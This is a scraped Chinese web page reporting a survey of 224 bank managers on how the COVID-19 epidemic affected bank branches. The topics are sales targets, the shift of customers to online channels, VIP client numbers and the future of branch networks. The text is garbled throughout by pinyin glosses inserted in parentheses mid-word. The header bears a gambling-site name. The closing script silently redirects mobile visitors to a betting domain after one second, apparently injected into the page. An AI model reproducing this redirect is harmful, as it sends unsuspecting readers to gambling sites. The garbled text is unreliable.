ku游戏网站

今天是(shi)2021年7月31日 星(xing)期六,欢迎光临本站 

客户经营

224位银行管理者是如何看待疫情对网点的影响?

文字:[大][中][小] 手机页面二维码 2020/7/30     浏览次数:    

新冠(guan)病毒肺炎疫情的(de)爆发,使社会经济(ji)几乎陷入(ru)停滞,居(ju)民足不出户,网点到客率急剧下降,银行面临着(zhe)巨大的(de)挑(tiao)战。

为了深入了解(jie)新(xin)型肺炎(yan)疫情(qing)对银行经营的影(ying)响。自2月28日开始,上海(hai)ku游戏网站咨询启动《疫(yi)情对(dui)(dui)银(yin)行网点影(ying)响调研》的线上问卷调研。深入了解(jie)疫(yi)情对(dui)(dui)银(yin)行同(tong)业产生的影(ying)响,同(tong)时协助银(yin)行同(tong)业了解(jie)疫(yi)情对(dui)(dui)银(yin)行网点的影(ying)响和对(dui)(dui)未来的看(kan)法。

疫情(qing)带(dai)来了痛苦,也带(dai)来了反(fan)思,而痛苦与反(fan)思往(wang)(wang)往(wang)(wang)造(zao)就了生“机”,危与机并存,才给生命(ming)和经济带(dai)来希望。

截止调(diao)(diao)研报告发布时,此次调(diao)(diao)研问卷我们共(gong)收集(ji)到(dao)224位银行(xing)(xing)(xing)人的(de)问卷反馈(kui),参与银行(xing)(xing)(xing)包括:大型国有银行(xing)(xing)(xing)、股(gu)份制银行(xing)(xing)(xing)、城市(shi)商业(ye)银行(xing)(xing)(xing)、农村(cun)商业(ye)银行(xing)(xing)(xing)/农村(cun)合作银行(xing)(xing)(xing)/信用联社等(deng)。

在此一并致谢!!!


✔超(chao)七成的(de)银(yin)(yin)行(xing)受(shou)访者认为(wei)(wei),本次疫情由于银(yin)(yin)行(xing)的(de)停业(ye)或(huo)营业(ye)时间(jian)受(shou)限,使(shi)得销售计划难以落实,仅有不(bu)到一成的(de)银(yin)(yin)行(xing)人认为(wei)(wei)没有影响(xiang)。

✔对比2019年一(yi)季度,疫情对银(yin)行网(wang)点(dian)一(yi)季度业绩(ji)指标的影响(xiang)(xiang),近(jin)四成的银(yin)行受访者(zhe)表示短期有(you)负面影响(xiang)(xiang),二季度就(jiu)会恢复正常。

✔面对(dui)疫(yi)情(qing)造成的银行经营困境,高达90%的银行网(wang)点采取引导客户在(zai)线办理业务。

✔“新冠”疫情,让(rang)许多原本依赖(lai)线下(xia)办理业务的(de)人群,被(bei)动接受了(le)一次“迁移(yi)教育”,对未来银(yin)行网点(dian)的(de)转型与运(yun)营(ying)带(dai)来催化作用。

........


参(can)与此次调查的(de)群体中,来(lai)自大型国有银行(xing)的(de)人有148位,占比66.07%;股份制商业银行(xing)有36位,占比16.07%。





疫情期间银行网点受(shou)到的主要(yao)影(ying)响

有七成的银行(xing)管理层人认(ren)为(wei),疫情期间,银行(xing)网点受到(dao)的影响,主要是停(ting)业或营业时间受到(dao)限,造成销售计划的难(nan)以落实。客(ke)户到(dao)店率锐减也被认(ren)为(wei)是存在的主要原因之一。

本次(ci)疫情给客(ke)户行(xing)为习惯、心理(li)带(dai)来(lai)的变化,势必会(hui)给未来(lai)银(yin)(yin)行(xing)网点(dian)的功能定位带(dai)来(lai)影响,银(yin)(yin)行(xing)网点(dian)的渠(qu)道建设将会(hui)面临(lin)更(geng)大的挑(tiao)战。



对比(bi)2019年一(yi)季(ji)度(du),疫情对网点一(yi)季(ji)度(du)业绩指标的影响

有(you)近四成(cheng)的银行人(ren)认(ren)为(wei),疫(yi)情(qing)短(duan)期会带(dai)来(lai)负面(mian)影(ying)响(xiang),二季度就(jiu)会恢复(fu)正常,而也有(you)近三成(cheng)的人(ren)认(ren)为(wei)负面(mian)影(ying)响(xiang)会延续(xu)到上半(ban)年。

而疫(yi)情之后,如何(he)切实服(fu)务好客户(hu),进行银行网点(dian)的生态圈建(jian)设,将成为各大银网点(dian)渠(qu)道建(jian)设的重点(dian)。




应对疫情,银(yin)行网(wang)点采取(qu)的(de)措(cuo)施

疫情期,人(ren)们对无接触(chu)办理业(ye)务的极(ji)大需求,带来(lai)了(le)线上业(ye)务流量的快速增加。

调查发(fa)现,采(cai)用引导客户(hu)在线(xian)办理(li),是各(ge)家银行(xing)(xing)人(ren)通(tong)常的做法(fa),这(zhei)也(ye)无(wu)形(xing)中(zhong)让(rang)银行(xing)(xing)也(ye)对(dui)客户(hu)完成(cheng)了一次行(xing)(xing)为习(xi)惯的教化。

那么后(hou)疫情时代,将会(hui)(hui)带(dai)动(dong)一批线(xian)下(xia)的(de)客户转(zhuan)移(yi)到(dao)线(xian)上,客户行为(wei)习惯会(hui)(hui)有一次前(qian)移(yi),这将对未来银行网(wang)点的(de)转(zhuan)型和经(jing)营,势必带(dai)来催(cui)化作(zuo)用。



在疫情(qing)期,网点员工使(shi)用哪些(xie)渠道联系和服务客户

疫情期,微信(xin)、电话、银行(xing)线上渠(qu)道(dao)(手机(ji)APP等)成为了(le)银(yin)行网点员工联系和服(fu)务客(ke)户(hu)三个主要工具(ju)。同(tong)时,在(zai)调查中发(fa)现(xian)也有网点员工使用直播平台来(lai)和(he)客(ke)户(hu)服(fu)务(wu)和(he)联系。

一场(chang)(chang)(chang)疫情,也是(shi)一场(chang)(chang)(chang)营销(xiao)工具(ju)的角逐,更是(shi)一场(chang)(chang)(chang)科技和人工服务的融合。

疫(yi)情后,前期的积压(ya)的消费势必会迎来(lai)一(yi)次爆发,而银(yin)行零售业务面(mian)临会迎来(lai)一(yi)次良机,银(yin)行应采取积极(ji)的经营策(ce)略(lve)来(lai)抓住“后疫情(qing)”的(de)机会。



在疫情期,贵行的网点贵宾客户数量的变化

疫情期(qi)(qi)间(jian),对于(yu)网点贵宾客户数量(liang)变动(dong)的观点中,保持稳定、基本(ben)没有(you)变化和(he)有(you)少量(liang)流失、只是短(duan)期(qi)(qi)状(zhuang)况之(zhi)间(jian)的比(bi)例差距(ju)较(jiao)小,分别为46.43%和(he)44.2%。



在(zai)疫情期,贵行哪(na)些产品或服务最(zui)受欢迎(ying)或增长较快

疫情期,人们对(dui)理财的(de)(de)金(jin)融需求明显增长(zhang),调查发现(xian),此期间银行的(de)(de)理财、基金(jin)、保险(xian)产(chan)品最受欢迎、增长(zhang)最快(kuai),占比超过生活缴费服务。

后(hou)疫情(qing)时代,银(yin)行业金融(rong)机构(gou),要认识(shi)到金融(rong)生态的(de)建设,构(gou)建主次分(fen)明,日(ri)益多(duo)元的(de)生态圈建设。



您觉得(de)本行网点数(shu)量未来会发生怎(zen)样的(de)变化?

对于未来银行(xing)(xing)网(wang)点会发生(sheng)怎样的(de)变化中,近四成(cheng)的(de)银行(xing)(xing)人认为会有一定的(de)减(jian)少,和认为保(bao)持不变的(de)观点之间仅(jin)相差(cha)不到(dao)一成(cheng),差(cha)距微(wei)小。

网(wang)点数量在精(jing)而不(bu)在多,在(zai)质而不在(zai)量。银行(xing)要积(ji)极应对后疫情时代的到来,加紧对银行(xing)网点进行(xing)渠道的建(jian)设和管(guan)理,抓住市场(chang)的机会。



此次疫(yi)情对于银行网点未(wei)来的(de)定位和承载功能的(de)影响(xiang)

疫(yi)情对银(yin)行网(wang)点未来的定位和承载功能的影响如何?近七成(cheng)的银(yin)行人(ren)认为会存(cun)在一些(xie)影响,认为没有影响的人(ren)数仅(jin)占一成(cheng)。

疫情后时代,对(dui)银行业来说,网点(dian)布局会(hui)更加紧(jin)迫(po),零(ling)售业务转(zhuan)型(xing)仍是重点(dian),金融(rong)科技(ji)赋能需(xu)(xu)加速提前(qian)。而这一(yi)切都(dou)需(xu)(xu)要银行人积极的调整和(he)变化,才会(hui)更好的应对(dui)未来。



返回上一步
打印此页
13818970338
浏(liu)览手(shou)机站(zhan)
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();